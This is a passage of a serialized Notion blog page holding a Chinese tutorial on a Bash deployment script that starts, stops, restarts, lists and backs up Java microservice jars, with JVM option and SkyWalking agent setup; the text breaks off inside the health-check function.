2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"post":{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":"","blockMap":{"block":{"38e3f997-dad9-46b8-99bb-d3042488821f":{"value":{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","version":916,"type":"page","content":["30cd1b5d-9c76-4661-bb28-c4f7511b9c0c","c4f68ef2-bdba-42b2-829c-2443f5de269d","de75e7b7-97b7-4bba-acf9-c9a53bb46ac7","6dc7d247-2acb-4e17-979f-2751e11a4866","ec124e1d-f212-4b30-b019-6c0b3819fb0e","8513dc44-acdd-416c-9797-5a429313055a","b1f5373e-66e3-4e3b-8df6-0436ece58f30","8d59e1ac-758e-4ac1-802f-77a2dc4a345a","316c39c8-874f-4c26-8b20-c27d7df00e22","8e2a4be9-ddd0-43c8-90a1-73e5966dc430","a46ec263-6b33-4ee8-bb6b-5c6c26fa1b77","e50a06de-71d5-42a5-84f9-72dba14b6249","3f65869a-70fa-433e-bfde-8dbdca631b9f","d4c687c2-c904-4234-92df-bf86f503e4a8","1c461f9f-ebc0-408d-bd62-cd2d593df5ff","263f23a4-ae61-4c82-b821-dccdf0fa6e4c","16904fbf-692f-4688-bdc6-d6da5063475e","547f54ed-1238-4e1e-89ef-996809620f35","77b75914-f02a-4393-bd36-453671da3504","f4992d9c-05d3-458f-8626-7f69df901053","6d929a34-3041-4f19-acdb-c1db601c49dc","f5002c9f-3330-4c74-91e4-2bd2be6cc9df","714774d8-cd7a-426f-97f5-f1a0a1019e8b","d23b738a-4977-45dd-9e87-4ac4299f8a2c","dd5cbc1b-7940-4623-b4e1-372257a167fd","015bbc44-0520-411b-8c93-e8828b0241e4","8d850969-c7f1-4278-9189-7b8a880d6922","85c59e46-5afc-44f7-8d92-24dfdb79e418","6fee2eb8-47f1-45a8-9e10-d3cbd35e1936","2c676e25-8325-4e28-a93c-2a14c18c16f9","aa4dcc52-95a6-47a4-88e5-b4275689bcda","7b911799-39b3-4e6e-8aa4-a18618a47f88","dae3dcc6-9abb-45e7-8cd0-96e67fb23514","d044fa90-43bf-464b-b804-b1952f91548b","f4e7ebc8-a8bf-4550-a1e4-6811a8f052da","12211a14-1feb-449b-beab-abea67e70635","4fa90686-3a74-46ec-a088-962d442891e0","af722408-abb3-480e-9546-752a8866c509","0cdbdf1b-35ba-4404-9235-3d8625c1eac0","23f697fb-ec30-4920-becf-b2569bb235d0","8566becf-9f13-4e17-800f-8c73a9d69d10","6fc3b1c1-279c-4da3-9b48-a286c69a4620","ebb9c14c-4573-4673-9f41-923621db6503","5f09bd20-4152-4fbf-9234-6358f7ca9002","1af18956-4491-4646-8812-8c26899d094c","39cf1bf0-7c68-42aa-8ada-11e74af9da6e","3b508db8-425b-4c77-83d0-9eba50c4ef24","dffd5b0d-8df5-4399-96a3-63793dbd16d0","70a67ed3-e2b5-4bd8-b6ac-de461ad7aa16"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://source.unsplash.com/random","block_locked":false,"block_locked_by":"e3bce58f-88e9-475b-8d52-370cf8e95e16","copied_from_pointer":{"id":"77f4d759-8660-4888-8d35-4214be459ba1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"page_cover_position":0.5},"created_time":1706076384676,"last_edited_time":1706080726139,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"77f4d759-8660-4888-8d35-4214be459ba1","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1711431614088,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"30cd1b5d-9c76-4661-bb28-c4f7511b9c0c":{"value":{"id":"30cd1b5d-9c76-4661-bb28-c4f7511b9c0c","type":"table_of_contents","format":{"block_color":"gray","copied_from_pointer":{"id":"be61f37e-3882-4318-ad2b-2c61e18b529f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386587,"last_edited_time":1706076386587,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"copied_from":"be61f37e-3882-4318-ad2b-2c61e18b529f"}},"c4f68ef2-bdba-42b2-829c-2443f5de269d":{"value":{"id":"c4f68ef2-bdba-42b2-829c-2443f5de269d","type":"header","properties":{"title":[["契机"]]},"format":{"copied_from_pointer":{"id":"39f8a9bd-9efd-414b-a3ad-d588e49686b1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386586,"last_edited_time":1706076386586,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"copied_from":"39f8a9bd-9efd-414b-a3ad-d588e49686b1"}},"de75e7b7-97b7-4bba-acf9-c9a53bb46ac7":{"value":{"id":"de75e7b7-97b7-4bba-acf9-c9a53bb46ac7","type":"callout","properties":{"title":[["微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。\n固定流程:deploy bakup xx.jar —\u003e deploy restart xx.jar"]]},"format":{"page_icon":"⚙","block_color":"gray_background","copied_from_pointer":{"id":"0f651cbe-3b3d-4c6b-9341-9409d13cdc9f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386585,"last_edited_time":1706078783448,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"copied_from":"0f651cbe-3b3d-4c6b-9341-9409d13cdc9f"}},"6dc7d247-2acb-4e17-979f-2751e11a4866":{"value":{"id":"6dc7d247-2acb-4e17-979f-2751e11a4866","type":"header","properties":{"title":[["命令编写步骤"]]},"format":{"copied_from_pointer":{"id":"4b7fd301-ccb3-49e5-a655-951a4373ac77","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386586,"last_edited_time":1706078594772,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"copied_from":"4b7fd301-ccb3-49e5-a655-951a4373ac77"}},"ec124e1d-f212-4b30-b019-6c0b3819fb0e":{"value":{"id":"ec124e1d-f212-4b30-b019-6c0b3819fb0e","type":"quote","properties":{"title":[["我会把每一步编写的用途都罗列出来,不想看的可以直接滑到最后复制整个脚本"]]},"created_time":1706078795259,"last_edited_time":1706078854774,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"8513dc44-acdd-416c-9797-5a429313055a":{"value":{"id":"8513dc44-acdd-416c-9797-5a429313055a","type":"sub_header","properties":{"title":[["配置环境变量"]]},"created_time":1706078561683,"last_edited_time":1706078585444,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"b1f5373e-66e3-4e3b-8df6-0436ece58f30":{"value":{"id":"b1f5373e-66e3-4e3b-8df6-0436ece58f30","type":"quote","properties":{"title":[["这里配置基础的java运行环境变量,包括可以把JVM运行参数也放在这里,到我项目里面的JVM参数是变动的,下面会提到。并且声明脚本要用到变量。"]]},"created_time":1706078608572,"last_edited_time":1706079009574,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"8d59e1ac-758e-4ac1-802f-77a2dc4a345a":{"value":{"id":"8d59e1ac-758e-4ac1-802f-77a2dc4a345a","type":"code","properties":{"title":[["#-----------------------------环境变量START----------------------------\nexport SW_AGENT_COLLECTOR_BACKEND_SERVICES=127.0.0.1:11800\nexport SW_AGENT_SPAN_LIMIT=2000\nexport JAVA_AGENT=-javaagent:/usr/skywalking-agent/skywalking-agent.jar\nexport ENV=test\n#-----------------------------环境变量END----------------------------\n\n#-----------------------------全局变量START----------------------------\nAPP_START_TIMEOUT=180 #等待应用启动的时间\nPIDS=()               #定义全局的PIDS数组\nWORK_DIR=(            #当前程序的工作目录\n          /Users/y/IdeaProjects/A-script/sh\n          /home/bothsvage\n          /root/prod\n          )\nCHECK_LOGS=(          #日志检查关键字\n  \"开始订阅滚动日志\"\n  \"服务启动成功\"\n  \"Tomcat started on port(s): 8848\"\n)\nSCRIPT_NAME=$0       # 脚本名称\nACTION=$1            # 脚本接受的第一个参数\nshift                # 将参数列表向左移动一个位置,去除第一个参数\njar=\"$@\"             # 使用命令行参数作为jar文件名\n#-----------------------------全局变量END----------------------------"]],"language":[["Bash"]]},"format":{"code_wrap":true},"created_time":1706078585992,"last_edited_time":1706079497825,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"316c39c8-874f-4c26-8b20-c27d7df00e22":{"value":{"id":"316c39c8-874f-4c26-8b20-c27d7df00e22","type":"sub_header","properties":{"title":[["主程序"]]},"created_time":1706078558353,"last_edited_time":1706078727210,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"8e2a4be9-ddd0-43c8-90a1-73e5966dc430":{"value":{"id":"8e2a4be9-ddd0-43c8-90a1-73e5966dc430","type":"quote","properties":{"title":[["首先定义程序入口,运行welcome欢迎函数,并且运行检查当前工作目录函数,因为这个脚本会在配置到环境变量,防止程序运行报错。"]]},"created_time":1706078746157,"last_edited_time":1706079461207,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"a46ec263-6b33-4ee8-bb6b-5c6c26fa1b77":{"value":{"id":"a46ec263-6b33-4ee8-bb6b-5c6c26fa1b77","type":"code","properties":{"title":[["\n\n#启动函数包装\nstart() {\n  start_service $jar -q\n  health_check $jar\n  list_service $jar\n}\n#停止函数包装\nstop() {\n  list_service $jar\n  for pid in \"${PIDS[@]}\" ; do\n    if [ ! -z \"$pid\" ]; then\n      stop_service $pid\n    fi\n  done\n}\n\n\n#-----------------------------程序入口----------------------------\nwelcome\ncheck_directory\ncase \"$ACTION\" in\nstart)\n  check_input $jar\n  list_service $jar\n  for pid in \"${PIDS[@]}\" ; do\n    if [ ! -z \"$pid\" ]; then\n      echo \"存在应用在运行:请使用restart命令\"\n      end\n      exit 0\n    fi\n  done\n  start\n  ;;\nstop)\n  check_input $jar\n  stop\n  ;;\nrestart)\n  check_input $jar\n  stop\n  start\n  ;;\nlist)\n  check_input $jar\n  list_service $jar\n  ;;\nbackup)\n  check_input $jar\n  backup $jar\n  ;;\n*)\n  usage\n  ;;\nesac\n\nend"]],"language":[["Bash"]]},"format":{"code_wrap":true},"created_time":1706078728197,"last_edited_time":1706079475022,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"e50a06de-71d5-42a5-84f9-72dba14b6249":{"value":{"id":"e50a06de-71d5-42a5-84f9-72dba14b6249","type":"sub_header","properties":{"title":[["辅助函数"]]},"created_time":1706078558353,"last_edited_time":1706079189949,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"3f65869a-70fa-433e-bfde-8dbdca631b9f":{"value":{"id":"3f65869a-70fa-433e-bfde-8dbdca631b9f","type":"quote","properties":{"title":[["提示函数,检查输入参数,welcome,check_directory等,都比较简单"]]},"created_time":1706079190557,"last_edited_time":1706079231631,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"d4c687c2-c904-4234-92df-bf86f503e4a8":{"value":{"id":"d4c687c2-c904-4234-92df-bf86f503e4a8","type":"code","properties":{"title":[["#使用说明\nusage() {\n  echo \"脚本的用法如下:$SCRIPT_NAME {start|stop|restart|list|backup} {service_name.jar}\"\n  end\n  exit 2\n}\n# 检查输入参数\ncheck_input() {\n    jar=$1\n\n    # list 操作接受 *.jar 作为参数\n    if [[ $ACTION == \"list\" \u0026\u0026 $jar == *.jar ]]; then\n        return 0\n    fi\n\n    # start, stop 和 restart 操作必须接受一个存在于当前目录的 .jar 文件作为参数\n    if [[ $ACTION != \"list\" \u0026\u0026 ($jar != *.jar || ! -f $jar) ]]; then\n        echo \"start,stop,restart,backup 操作必须接受一个存在于当前目录的 .jar 文件作为参数\"\n        end\n        exit 0\n    fi\n}\n#欢迎脚本答应\nwelcome(){\n  echo '''\n---------------------------脚本正在启动-------------------------------\n\n        ████████   ██████   ███   ███  ███   ███  ██\n\n  '''\n  echo \"                   当前脚本环境:$ENV\n\n  \"\n}\n#结束脚本打印\nend(){\n  echo '''\n----------------------------脚本已经完成-------------------------------\n  '''\n}\n#检查当前脚本运行目录\ncheck_directory() {\n  # 获取脚本的运行目录\n  script_dir=$(pwd \"$0\")\n  echo \"此脚本工作目录:$script_dir\"\n\n  # 标识,初始为 false\n  valid_dir=false\n\n  # 检查脚本的运行目录是否在 WORK_DIR 数组的目录之一\n  for dir in \"${WORK_DIR[@]}\"; do\n    if [[ $script_dir == $dir* ]]; then\n      valid_dir=true\n      break\n    fi\n  done\n\n  # 如果标识仍为 false,打印一条消息并退出脚本\n  if ! $valid_dir; then\n    echo \"不满足以下目录:${WORK_DIR[*]}. \"\n    end\n    exit 0\n  fi\n}"]],"language":[["Bash"]]},"format":{"code_wrap":true},"created_time":1706079064487,"last_edited_time":1706079147252,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"1c461f9f-ebc0-408d-bd62-cd2d593df5ff":{"value":{"id":"1c461f9f-ebc0-408d-bd62-cd2d593df5ff","type":"sub_header","properties":{"title":[["动态设置JVM参数"]]},"created_time":1706078558353,"last_edited_time":1706079178393,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"263f23a4-ae61-4c82-b821-dccdf0fa6e4c":{"value":{"id":"263f23a4-ae61-4c82-b821-dccdf0fa6e4c","type":"quote","properties":{"title":[["根据env环境变量和jar包的名称动态设置JVM的堆内存"]]},"created_time":1706079238216,"last_edited_time":1706079271554,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"16904fbf-692f-4688-bdc6-d6da5063475e":{"value":{"id":"16904fbf-692f-4688-bdc6-d6da5063475e","type":"code","properties":{"title":[["# 设置 JVM_OPTS\nset_jvm_opts() {\n    jar=$1\n    filename=$(basename -- \"$jar\")\n    #生产环境\n    if [[ $ENV == \"prod\" ]]; then\n      # 检查文件名是否包含 \"bothsavage\"\n      if [[ $filename == *\"bothsavage\"* ]]; then\n          export JVM_OPTS=\"-Xms4096m -Xmx6144m\"\n      else\n          export JVM_OPTS=\"-Xms1024m -Xmx2028m\"\n      fi\n    #非生产环境\n    else\n      # 检查文件名是否包含 \"bothsavage\"\n      if [[ $filename == *\"bothsavage\"* ]]; then\n          export JVM_OPTS=\"-Xms1024m -Xmx2028m\"\n      else\n          export JVM_OPTS=\"-Xms512m -Xmx1024m\"\n      fi\n    fi\n\n}"]],"language":[["Bash"]]},"created_time":1706079184196,"last_edited_time":1706079184490,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"547f54ed-1238-4e1e-89ef-996809620f35":{"value":{"id":"547f54ed-1238-4e1e-89ef-996809620f35","type":"sub_header","properties":{"title":[["根据jar包获取正在运行的pid列表"]]},"created_time":1706078558353,"last_edited_time":1706079306876,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"77b75914-f02a-4393-bd36-453671da3504":{"value":{"id":"77b75914-f02a-4393-bd36-453671da3504","type":"quote","properties":{"title":[["就是ps aux | grep 服务名来获取的正在运行的pid,然后通过awk来输出具体的某个pid"]]},"created_time":1706079519891,"last_edited_time":1706079586592,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"f4992d9c-05d3-458f-8626-7f69df901053":{"value":{"id":"f4992d9c-05d3-458f-8626-7f69df901053","type":"code","properties":{"title":[["#根据jar包获取正在运行的pid列表\n#可能是多个有xxx.jar的pid,因为存在启动不成功的情况\n#此pid列表是所有正在运行的jar包的pid列表,去除grep --color=auto \nlist_service() {\n  echo \"获取程序运行中:$jar\"\n  # 使用ps和grep获取包含jar包名的进程\n  local lines=$(ps aux | grep $1 | grep java | grep -v grep | awk '{printf $2 \" \"; for (i=11; i\u003c=NF; i++) printf $i \" \"; print \"\"}')\n\n  # 逐行读取lines变量的值\n  while IFS= read -r line; do\n    # 使用空格将行切割为数组\n    array=($line)\n\n    # 第一个元素是PID\n    pid=${array[0]}\n\n    # 剩下的元素是命令行参数\n    cmdline=${line#\"$pid \"}  # 使用参数扩展移除PID\n    cmdline_cut=$(echo $cmdline | cut -c 1-150)  # 保留前50个字符\n\n   # 只在找到进程时打印信息\n    if [ ! -z \"$pid\" ]; then\n      printf \"找到%5s 程序: %-50s...\\n\" \"$pid\" \"$cmdline_cut\"  # 格式化输出\n      PIDS+=(\"$pid\")\n    fi\n  done \u003c\u003c\u003c \"$lines\"\n\n  # 如果没有找到任何服务,打印提示信息\n  if [ -z \"$lines\" ]; then\n    echo \"没有进程包含有:$1\"\n  fi\n}\n"]],"language":[["Bash"]]},"format":{"code_wrap":true},"created_time":1706079292351,"last_edited_time":1706079503420,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"6d929a34-3041-4f19-acdb-c1db601c49dc":{"value":{"id":"6d929a34-3041-4f19-acdb-c1db601c49dc","type":"sub_header","properties":{"title":[["停止服务"]]},"created_time":1706078558353,"last_edited_time":1706079332768,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"f5002c9f-3330-4c74-91e4-2bd2be6cc9df":{"value":{"id":"f5002c9f-3330-4c74-91e4-2bd2be6cc9df","type":"quote","properties":{"title":[["使用kill -15来杀程序,如果超过60s,就直接kill -9"]]},"created_time":1706079599759,"last_edited_time":1706079675701,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"714774d8-cd7a-426f-97f5-f1a0a1019e8b":{"value":{"id":"714774d8-cd7a-426f-97f5-f1a0a1019e8b","type":"code","properties":{"title":[["#停止服务\nstop_service() {\n  local pid=$1\n  echo \"开始停止程序中: $pid\"\n  kill -15 \"$pid\"\n\n  # 等待程序结束\n  for i in $(seq 60); do\n    # 检查进程是否还在运行\n    if ! ps -p \"$pid\" \u003e /dev/null; then\n      echo \"停止程序已完成:$pid\"\n      return 0\n    fi\n    # 等待一秒\n    sleep 1\n  done\n\n  # 如果程序还在运行,发送 SIGKILL\n  echo \"程序仍在运行,发送 SIGKILL\"\n  kill -9 \"$pid\"\n}\n"]],"language":[["Bash"]]},"created_time":1706079340376,"last_edited_time":1706079353272,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"d23b738a-4977-45dd-9e87-4ac4299f8a2c":{"value":{"id":"d23b738a-4977-45dd-9e87-4ac4299f8a2c","type":"sub_header","properties":{"title":[["启动服务"]]},"format":{"copied_from_pointer":{"id":"5832d8e8-8c18-4555-b18e-c744f75a7347","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386586,"last_edited_time":1706079425809,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"copied_from":"5832d8e8-8c18-4555-b18e-c744f75a7347"}},"dd5cbc1b-7940-4623-b4e1-372257a167fd":{"value":{"id":"dd5cbc1b-7940-4623-b4e1-372257a167fd","type":"quote","properties":{"title":[["这里无非就是组装最终运行的部署语句"]]},"created_time":1706079679340,"last_edited_time":1706079706468,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"015bbc44-0520-411b-8c93-e8828b0241e4":{"value":{"id":"015bbc44-0520-411b-8c93-e8828b0241e4","type":"code","properties":{"title":[["#启动服务\nstart_service(){\n  set_jvm_opts $jar\n  filename=$(basename -- \"$jar\")\n  export SW_AGENT_NAME=\"${filename%.*}\"\n  output=\"/dev/null\"\n  nohup java $JVM_OPTS $JAVA_AGENT -jar ./$jar \u003e\u003e $output 2\u003e\u00261 \u0026\n  echo \"最终部署语句为:nohup java $JVM_OPTS $JAVA_AGENT -jar ./$jar \u003e\u003e $output 2\u003e\u00261 \u0026\"\n  # 检查是否有 -q 参数\n  if [ \"$2\" == \"-q\" ]\n  then\n      echo \"部署语句已执行:$jar\"\n  else\n      tail -f $output\n  fi\n}\n"]],"language":[["Bash"]]},"created_time":1706079370651,"last_edited_time":1706079429534,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"8d850969-c7f1-4278-9189-7b8a880d6922":{"value":{"id":"8d850969-c7f1-4278-9189-7b8a880d6922","type":"sub_header","properties":{"title":[["启动完成检查"]]},"format":{"copied_from_pointer":{"id":"5832d8e8-8c18-4555-b18e-c744f75a7347","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1706076386586,"last_edited_time":1706079391937,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true,"copied_from":"5832d8e8-8c18-4555-b18e-c744f75a7347"}},"85c59e46-5afc-44f7-8d92-24dfdb79e418":{"value":{"id":"85c59e46-5afc-44f7-8d92-24dfdb79e418","type":"quote","properties":{"title":[["由于我的java项目一般会把info级别的日志文件放在同级目录,通过检测关键字来实现启动完成监控"]]},"created_time":1706079710439,"last_edited_time":1706079779024,"parent_id":"38e3f997-dad9-46b8-99bb-d3042488821f","parent_table":"block","alive":true}},"6fee2eb8-47f1-45a8-9e10-d3cbd35e1936":{"value":{"id":"6fee2eb8-47f1-45a8-9e10-d3cbd35e1936","type":"code","properties":{"title":[["#健康检查\nhealth_check() {\n  exptime=0\n\n  while 